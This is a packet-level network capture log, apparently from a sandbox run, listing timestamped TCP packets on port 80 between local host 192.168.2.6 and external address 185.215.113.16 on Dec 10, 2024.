Dec 10, 2024 06:38:29.086822987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.086875916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.086988926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.087940931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.088030100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.088088989 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.088856936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.088987112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.089040995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.089895964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.090019941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.090065956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.090903997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.091008902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.091023922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.091937065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.091985941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.092032909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.093190908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.093254089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.093285084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.094038010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.094085932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.094193935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.095407009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.095424891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.096113920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.096169949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.096187115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.097105026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.097229004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.097295046 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.098139048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.098252058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.098303080 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.099217892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.099349022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.100178003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.100230932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.100302935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.101283073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.101315975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.101331949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.102291107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.102333069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.102359056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.103292942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.103374004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.107014894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.226942062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.226958036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.227041960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.228056908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.228079081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.228128910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.346081018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.346101046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.346174955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.347229958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.393807888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465502024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465517998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465528965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465543985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465555906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465574026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465588093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465600014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465610981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465620041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465631008 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465637922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465653896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465667963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465696096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465799093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465811968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465837002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465852976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465862989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465876102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465888023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465898037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465908051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465919971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465934038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465935946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465945005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465955019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465965986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.465979099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.465984106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.466022015 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.466768980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466779947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466789007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466808081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466820955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466835976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466840982 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.466851950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466864109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466871023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.466881037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466892004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466903925 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.466909885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466917992 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.466928005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.466967106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.467502117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467515945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467556000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.467658043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467669010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467684984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467698097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467710018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.467719078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467730045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467736959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.467747927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.467768908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.468167067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468200922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.468318939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468332052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468342066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468353033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468367100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468373060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.468383074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468400002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.468405008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468417883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468432903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468439102 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.468446970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.468456030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468468904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468480110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.468496084 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.468522072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.469234943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469247103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469258070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469269991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469290018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.469297886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469310045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469316959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.469326973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469345093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469351053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.469361067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469372988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469383955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469394922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.469420910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.469499111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.470160961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470172882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470190048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470201969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470215082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470221043 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.470231056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.470237970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470252991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470263958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470272064 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.470280886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470292091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470299959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.470310926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470324993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.470330000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.470360994 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.471062899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471076012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471086025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471097946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471103907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471110106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471117020 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.471127987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471138954 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.471146107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471157074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471168041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471179962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471193075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.471199036 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.471220016 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.471235037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.471837044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472074986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472088099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472099066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472110987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472119093 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472130060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472136974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472146988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472160101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472170115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472192049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472201109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472209930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472220898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472230911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472239017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472249031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472259998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472269058 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472279072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472292900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472810030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472832918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472846031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472860098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472872019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472878933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472939014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472949982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472960949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.472970009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472986937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.472992897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473005056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473016024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473026991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473037958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473047018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.473056078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473062992 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.473094940 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.473690987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473792076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473803043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473823071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473829985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.473839998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473850965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473859072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.473874092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473884106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.473891020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473903894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473915100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473922014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.473932028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473939896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.473948956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.473988056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.474585056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474653006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474663973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474679947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474687099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.474699020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474709988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.474716902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474735022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474745989 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.474752903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474771023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474781990 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.474788904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474801064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474811077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.474821091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.474843979 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.475243092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.475502968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475563049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475578070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475604057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.475728989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475740910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475750923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475761890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475770950 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.475780964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475789070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.475800037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475812912 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.475817919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475830078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475841045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475852013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.475858927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.475871086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.476667881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476680994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476691008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476702929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476711035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.476722002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476731062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.476741076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476751089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476762056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476773024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476804972 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.476807117 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.476840019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476850986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476862907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.476888895 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.477550030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477561951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477572918 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477583885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477597952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.477608919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477646112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.477654934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.477679968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477691889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477703094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477715015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477721930 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.477732897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477744102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477751970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.477761984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477771997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.477782011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.477804899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.478321075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.478362083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.478375912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.478385925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.478410006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.478431940 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.478595018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.478606939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:29.478653908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:29.478799105 CET	80	49747	185.215.113.16	192.168.2.6
